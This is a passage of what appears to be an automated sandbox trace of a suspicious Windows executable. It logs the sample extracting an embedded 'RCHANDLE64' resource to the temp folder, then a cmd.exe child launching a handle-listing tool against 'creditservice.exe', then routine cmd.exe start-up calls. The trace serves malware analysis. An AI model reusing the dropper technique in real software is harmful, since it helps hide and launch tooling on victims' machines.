¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿuaLjäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0057.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x80) returned 0x5e9240 [0057.320] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0057.320] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0057.320] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e9240) returned 0x80 [0057.320] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0057.321] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0057.321] GetCurrentProcess () returned 0xffffffff [0057.321] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0057.321] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0057.321] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0057.321] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0057.321] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0057.321] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0057.321] LockResource (hResData=0x43c648) returned 0x43c648 [0057.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x18) returned 0x5e9710 [0057.321] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0057.322] GetLastError () returned 0x20 [0057.322] GetLastError () returned 0x20 [0057.322] SetLastError (dwErrCode=0x20) [0057.322] GetLastError () returned 0x20 [0057.322] SetLastError (dwErrCode=0x20) [0057.322] GetLastError () returned 0x20 [0057.322] SetLastError (dwErrCode=0x20) [0057.322] GetLastError () returned 0x20 [0057.322] SetLastError (dwErrCode=0x20) [0057.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1000) returned 0x5e9730 [0057.322] GetLastError () returned 0x20 [0057.322] SetLastError (dwErrCode=0x20) [0057.322] GetLastError () returned 0x20 [0057.322] SetLastError (dwErrCode=0x20) [0057.322] GetLastError () returned 0x20 [0057.322] SetLastError (dwErrCode=0x20) [0057.322] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18e38c | out: lpMode=0x18e38c) returned 1 [0057.323] WriteFile (in: hFile=0x7, lpBuffer=0x18ea68*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x18e394, lpOverlapped=0x0 | out: lpBuffer=0x18ea68*, lpNumberOfBytesWritten=0x18e394*=0x49, lpOverlapped=0x0) returned 1 [0057.805] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e8810 | out: hHeap=0x5d0000) returned 1 [0057.805] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0057.805] ExitProcess (uExitCode=0x1) [0057.805] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e70b0 | out: hHeap=0x5d0000) returned 1 Process: id = "26" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x27924000" os_pid = "0x88c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "16" os_parent_pid = "0xadc" cmd_line = "C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"creditservice.exe\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 113 os_tid = 0x8bc [0058.323] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3fff5c | out: lpSystemTimeAsFileTime=0x3fff5c*(dwLowDateTime=0xcb352c20, dwHighDateTime=0x1d5d06a)) [0058.324] GetCurrentProcessId () returned 0x88c [0058.324] GetCurrentThreadId () returned 0x8bc [0058.324] GetTickCount () returned 0x115897b [0058.324] QueryPerformanceCounter (in: lpPerformanceCount=0x3fff54 | out: lpPerformanceCount=0x3fff54*=20027584968) returned 1 [0058.325] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0058.325] __set_app_type (_Type=0x1) [0058.325] __p__fmode () returned 0x76be31f4 [0058.325] __p__commode () returned 0x76be31fc [0058.325] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0058.325] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0058.325] GetCurrentThreadId () returned 0x8bc [0058.325] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x8bc) returned 0x60 [0058.325] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0058.326] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0058.326] SetThreadUILanguage (LangId=0x0) returned 0x409 [0058.477] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0058.477] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ffeec | out: phkResult=0x3ffeec*=0x0) returned 0x2 [0058.478] VirtualQuery (in: lpAddress=0x3fff23, lpBuffer=0x3ffebc, dwLength=0x1c | out: lpBuffer=0x3ffebc*(BaseAddress=0x3ff000, AllocationBase=0x300000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.478] VirtualQuery (in: lpAddress=0x300000, lpBuffer=0x3ffebc, dwLength=0x1c | out: lpBuffer=0x3ffebc*(BaseAddress=0x300000, AllocationBase=0x300000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0058.478] VirtualQuery (in: lpAddress=0x301000, lpBuffer=0x3ffebc, dwLength=0x1c | out: lpBuffer=0x3ffebc*(BaseAddress=0x301000, AllocationBase=0x300000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0058.478] VirtualQuery (in: lpAddress=0x303000, lpBuffer=0x3ffebc, dwLength=0x1c | out: lpBuffer=0x3ffebc*(BaseAddress=0x303000, AllocationBase=0x300000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.478] VirtualQuery (in: lpAddress=0x400000, lpBuffer=0x3ffebc, dwLength=0x1c | out: lpBuffer=0x3ffebc*(BaseAddress=0x400000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x160000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0058.478] GetConsoleOutputCP () returned 0x1b5 [0058.478] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0058.478] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0058.478] _get_osfhandle (_FileHandle=1) returned 0x80 [0058.478] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0058.478] _get_osfhandle (_FileHandle=1) returned 0x80 [0058.478] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0058.478] _get_osfhandle (_FileHandle=0) returned 0x3 [0058.479] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0058.479] GetEnvironmentStringsW () returned 0x812200* [0058.479] GetProcessHeap () returned 0x800000 [0058.479] RtlAllocateHeap (HeapHandle=0x800000, Flags=0x8, Size=0xb8a) returned 0x812d98 [0058.479] FreeEnvironmentStringsW (penv=0x812200) returned 1 [0058.479] GetProcessHeap () returned 0x800000 [0058.479] RtlAllocateHeap (HeapHandle=0x800000, Flags=0x8, Size=0x4) returned 0x8118e0 [0058.479] GetEnvironmentStringsW () returned 0x812200* [0058.479] GetProcessHeap () returned 0x800000 [0058.479] RtlAllocateHeap (HeapHandle=0x800000, Flags=0x8, Size=0xb8a) returned 0x813930 [0058.479] FreeEnvironmentStringsW (penv=0x812200) returned 1 [0058.479] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3fee5c | out: phkResult=0x3fee5c*=0x68) returned 0x0 [0058.480] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3fee64, lpData=0x3fee68, lpcbData=0x3fee60*=0x1000 | out: lpType=0x3fee64*=0x0, lpData=0x3fee68*=0x0, lpcbData=0x3fee60*=0x1000) returned 0x2 [0058.480] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3fee64, lpData=0x3fee68, lpcbData=0x3fee60*=0x1000 | out: lpType=0x3fee64*=0x4, lpData=0x3fee68*=0x1, lpcbData=0x3fee60*=0x4) returned 0x0 [0058.480] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3fee64, lpData=0x3fee68, lpcbData=0x3fee60*=0x1000 | out: lpType=0x3fee64*=0x0, lpData=0x3fee68*=0x1, lpcbData=0x3fee60*=0x1000) returned 0x2 [0058.480] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3fee64, lpData=0x3fee68, lpcbData=0x3fee60*=0x1000 | out: lpType=0x3fee64*=0x4, lpData=0x3fee68*=0x0, lpcbData=0x3fee60*=0x4) returned 0x0 [0058.480] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3fee64, lpData=0x3fee68, lpcbData=0x3fee60*=0x1000 | out: lpType=0x3fee64*=0x4, lpData=0x3fee68*=0x40, lpcbData=0x3fee60*=0x4) returned 0x0 [0058.480] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3fee64, lpData=0x3fee68, lpcbData=0x3fee60*=0x1000 | out: lpType=0x3fee64*=0x4, lpData=0x3fee68*=0x40, lpcbData=0x3fee60*=0x4) returned 0x0 [0058.480] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3fee64, lpData=0x3fee68, lpcbData=0x3fee60*=0x1000 | out: lpType=0x3fee64*=0x0, lpData=0x3fee68*=0x40, lpcbData=0x3fee60*=0x1000) returned 0x2 [0058.480] RegCloseKey (hKey=0x68) returned 0x0 [0058.480] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3fee5c | out: phkResult=0x3fee5c*=0x68) returned 0x0 [0058.480] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3fee64, lpData=0x3fee68, lpcbData=0x3fee60*=0x1000 | out: lpType=0x3fee64*=0x0, lpData=0x3fee68*=0x40, lpcbData=0x3fee60*=0x1000) returned 0x2 [0058.480] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3fee64, lpData=0x3fee68, lpcbData=0x3fee60*=0x1000 | out: lpType=0x3fee64*=0x4, lpData=0x3fee68*=0x1, lpcbData=0x3fee60*=0x4) returned 0x0 [0058.480] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3fee64, lpData=0x3fee68, lpcbData=0x3fee60*=0x1000 | out: lpType=0x3fee64*=0x0, lpData=0x3fee68*=0x1, lpcbData=0x3fee60*=0x1000) returned 0x2 [0058.480] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3fee64, lpData=0x3fee68, lpcbData=0x3fee60*=0x1000 | out: lpType=0x3fee64*=0x4, lpData=0x3fee68*=0x0, lpcbData=0x3fee60*=0x4) returned 0x0 [0058.480] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3fee64, lpData=0x3fee68, lpcbData=0x3fee60*=0x1000 | out: lpType=0x3fee64*=0x4, lpData=0x3fee68*=0x9, lpcbData=0x3fee60*=0x4) returned 0x0 [0058.480] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3fee64, lpData=0x3fee68, lpcbData=0x3fee60*=0x1000 | out: lpType=0x3fee64*=0x4, lpData=0x3fee68*=0x9, lpcbData=0x3fee60*=0x4) returned 0x0 [0058.480] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3fee64, lpData=0x3fee68, lpcbData=0x3fee60*=0x1000 | out: lpType=0x3fee64*=0x0, lpData=0x3fee68*=0x9, lpcbData=0x3fee60*=0x1000) returned 0x2 [0058.480] RegCloseKey (hKey=0x68) returned 0x0 [0058.480] time (in: timer=0x0 | out: timer=0x0) returned 0x5e2710d5 [0058.481] srand (_Seed=0x5e2710d5) [0058.481] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"creditservice.exe\" -nobanner" [0058.481] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"creditservice.exe\" -nobanner" [0058.481] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0058.481] GetProcessHeap () returned 0x800000 [0058.481] RtlAllocateHeap (HeapHandle=0x800000, Flags=0x8, Size=0x210) returned 0x8144c8 [0058.481] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x8144d0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0058.482] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0058.482] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0058.482] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0058.482] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0058.482] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0058.482] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0058.482] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0058.482] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0058.482] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0058.482] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0058.482] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0058.482] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0058.482] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0058.482] GetProcessHeap () returned 0x800000 [0058.482] RtlAllocateHeap (HeapHandle=0x800000, Flags=0x8, Size=0x54) returned 0x8146e0 [0058.482] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3ffc28 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0058.482] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x3ffc28, lpFilePart=0x3ffc24 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3ffc24*="Desktop") returned 0x25 [0058.482] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0058.482] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3ff9a4 | out: lpFindFileData=0x3ff9a4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x812080 [0058.483] FindClose (in: hFindFile=0x812080 | out: hFindFile=0x812080) returned 1 [0058.483] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x3ff9a4 | out: lpFindFileData=0x3ff9a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x812080 [0058.483] FindClose (in: hFindFile=0x812080 | out: hFindFile=0x812080) returned 1 [0058.483] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0058.483] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x3ff9a4 | out: lpFindFileData=0x3ff9a4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x812080 [0058.483] FindClose (in: hFindFile=0x812080 | out: hFindFile=0x812080) returned 1 [0058.483] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0058.483] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0058.483] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0058.483] GetProcessHeap () returned 0x800000 [0058.483] HeapFree (in: hHeap=0x800000, dwFlags=0x0, lpMem=0x812d98 | out: hHeap=0x800000) returned 1 [0058.483] GetEnvironmentStringsW () returned 0x812200* [0058.483] GetProcessHeap () returned 0x800000 [0058.483] RtlAllocateHeap (HeapHandle=0x800000, Flags=0x8, Size=0xb8a) returned 0x812d98 [0058.483] FreeEnvironmentStringsW (penv=0x812200) returned 1 [0058.483] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0058.483] GetProcessHeap () returned 0x800000 [0058.483] HeapFree (in: hHeap=0x800000, dwFlags=0x0, lpMem=0x8146e0 | out: hHeap=0x800000) returned 1 [0058.483] GetProcessHeap () returned 0x800000 [0058.483] RtlAllocateHeap (HeapHandle=0x800000, Flags=0x8, Size=0x400e) returned 0x814f40 [0058.484] GetProcessHeap () returned 0x800000 [0058.484] RtlAllocateHeap (HeapHandle=0x800000, Flags=0x8, Size=0x7a) returned 0x812200 [0058.484] GetProcessHeap () returned 0x800000 [0058.484] HeapFree (in: hHeap=0x800000, dwFlags=0x0, lpMem=0x814f40 | out: hHeap=0x800000) returned 1 [0058.484] GetConsoleOutputCP () returned 0x1b5 [0058.484] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0058.484] GetUserDefaultLCID () returned 0x409 [0058.485] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0058.485] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x3ffd68, cchData=128 | out: lpLCData="0") returned 2 [0058.485] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x3ffd68, cchData=128 | out: lpLCData="0") returned 2 [0058.485] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x3ffd68, cchData=128 | out: lpLCData="1") returned 2 [0058.485] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0058.485] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0058.485] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0058.485] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0058.485] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0058.485] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0058.485] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0058.485] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0058.485] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0058.485] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0058.486] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0058.487] GetProcessHeap () returned 0x800000 [0058.487] RtlAllocateHeap (HeapHandle=0x800000, Flags=0x0, Size=0x20c) returned 0x812288 [0058.487] GetConsoleTitleW (in: lpConsoleTitle=0x812288, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0058.487] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0058.487] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0058.487] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0058.487] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0058.488] GetProcessHeap () returned 0x800000 [0058.488] RtlAllocateHeap (HeapHandle=0x800000, Flags=0x8, Size=0x400a) returned 0x814f40 [0058.488] GetProcessHeap () returned 0x800000 [0058.488] HeapFree (in: hHeap=0x800000, dwFlags=0x0, lpMem=0x814f40 | out: hHeap=0x800000) returned 1 [0058.488] _wcsicmp (_String1="bv6ncK8c.exe", _String2=")") returned 57 [0058.489] _wcsicmp (_String1="FOR", _String2="bv6ncK8c.exe") returned 4 [0058.489] _wcsicmp (_String1="FOR/?", _String2="bv6ncK8c.exe") returned 4 [0058.489] _wcsicmp (_String1="IF", _String2="bv6ncK8c.exe") returned 7 [0058.489] _wcsicmp (_String1="IF/?", _String2="bv6ncK8c.exe") returned 7 [0058.489] _wcsicmp (_String1="REM", _String2="bv6ncK8c.exe") returned 16 [0058.489] _wcsicmp (_String1="REM/?", _String2="bv6ncK8c.exe") returned 16 [0058.489] GetProcessHeap () returned 0x800000 [0058.489] RtlAllocateHeap (HeapHandle=0x800000, Flags=0x8, Size=0x58) returned 0x8146e0 [0058.489] GetProcessHeap () returned 0x800000 [0058.489] RtlAllocateHeap (HeapHandle=0x800000, Flags=0x8, Size=0x22) returned 0x8124a0 [0058.490] GetProcessHeap () returned 0x800000 [0058.490] RtlAllocateHeap (HeapHandle=0x800000, Flags=0x8, Size=0x5e) returned 0x8124d0 [0058.490] 